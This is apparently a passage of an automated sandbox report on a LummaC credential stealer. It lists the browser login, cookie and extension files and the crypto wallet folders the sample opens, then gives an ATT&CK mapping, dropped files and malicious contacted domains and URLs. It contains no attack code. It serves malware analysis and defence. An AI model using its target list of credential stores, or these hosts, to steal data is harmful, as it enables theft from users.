Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com

File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Input Capture	13 File and Directory Discovery	Remote Desktop Protocol	31 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	Logon Script (Windows)	12 Process Injection	2 Obfuscated Files or Information	Security Account Manager	226 System Information Discovery	SMB/Windows Admin Shares	11 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	521 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	111 Masquerading	LSA Secrets	3 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	221 Virtualization/Sandbox Evasion	Cached Domain Credentials	221 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	2 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Active_Setup.exe	20%	Virustotal		Browse
Active_Setup.exe	11%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe	53%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Temp\is-A0MP0.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-A0MP0.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-IDM6D.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-IDM6D.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	0%	ReversingLabs
C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe (copy)	8%	ReversingLabs
C:\Users\user\AppData\Roaming\ColorStreamLib\is-NQ5E5.tmp	8%	ReversingLabs

Source	Detection	Scanner	Label
http://michaeluno.jp/8E9D020000418BC04533E4458BF299448924244C8954241041F7F933C9898C24980000008BEA895	0%	Avira URL Cloud	safe
http://michaeluno.jp/4	0%	Avira URL Cloud	safe
https://dfgh.online/invoker.php?compname=	100%	Avira URL Cloud	malware
https://dfgh.online/invoker.php?compName=user-PC	100%	Avira URL Cloud	malware
https://abberanteusz.click/api	0%	Avira URL Cloud	safe
http://michaeluno.jp/	0%	Avira URL Cloud	safe
http://crl.microsoft-	0%	Avira URL Cloud	safe
http://www.autohotkey.comCould	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cegu.shop	185.161.251.21	true	false	high
abberanteusz.click	172.67.198.102	true	true	unknown
klipvumisui.shop	104.21.37.128	true	false	high
dfgh.online	unknown	unknown	false	high
AueDlcepKmDcJHZmhr.AueDlcepKmDcJHZmhr	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://abberanteusz.click/api	true	Avira URL Cloud: safe	unknown
https://cegu.shop/8574262446/ph.txt	false		high
https://klipvumisui.shop/int_clp_sha.txt	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	OS47CTVTQTDUZX7YVJLO9.exe, 00000013.00000000.2161783216.0000000000981000.00000020.00000001.01000000.0000000A.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000011.00000002.2109599777.0000000005F08000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://michaeluno.jp/4	BrightLib.exe, 00000032.00000002.2655205864.0000000001A30000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://repository.certum.pl/ctnca.cer09	OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://repository.certum.pl/cscasha2.cer0	OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000011.00000002.2104916640.0000000004FF7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.certum.pl/ctnca.crl0k	OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000011.00000002.2104916640.0000000004FF7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000011.00000002.2104916640.00000000056A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.usertr	OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000011.00000002.2109599777.0000000005F08000.00000004.00000800.00020000.00000000.sdmp	false		high
http://michaeluno.jp/8E9D020000418BC04533E4458BF299448924244C8954241041F7F933C9898C24980000008BEA895	BrightLib.exe, 00000032.00000002.2654822974.0000000001006000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000011.00000002.2109599777.0000000005F08000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dfgh.online/invoker.php?compName=	powershell.exe, 00000011.00000002.2104916640.0000000005255000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.autoitscript.com/autoit3/X	Bother.com, 0000000C.00000000.1713927350.0000000000CC5000.00000002.00000001.01000000.00000007.sdmp, Bother.com.1.dr	false		high
http://www.autohotkey.com	BrightLib.exe, 00000032.00000002.2654160152.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000000.2612155337.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, is-NQ5E5.tmp.22.dr	false		high
http://nsis.sf.net/NSIS_ErrorError	Active_Setup.exe	false		high
https://www.certum.pl/CPS0	OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2180009131.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000014.00000003.2186074346.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.autoitscript.com/autoit3/	Bother.com.1.dr	false		high
http://crl.microsoft-	powershell.exe, 00000011.00000002.2100438251.0000000000E2B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.certum.pl/cscasha2.crl0q	OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2678590170.0000000003120000.00000004.00001000.00020000.00000000.sdmp	false		high
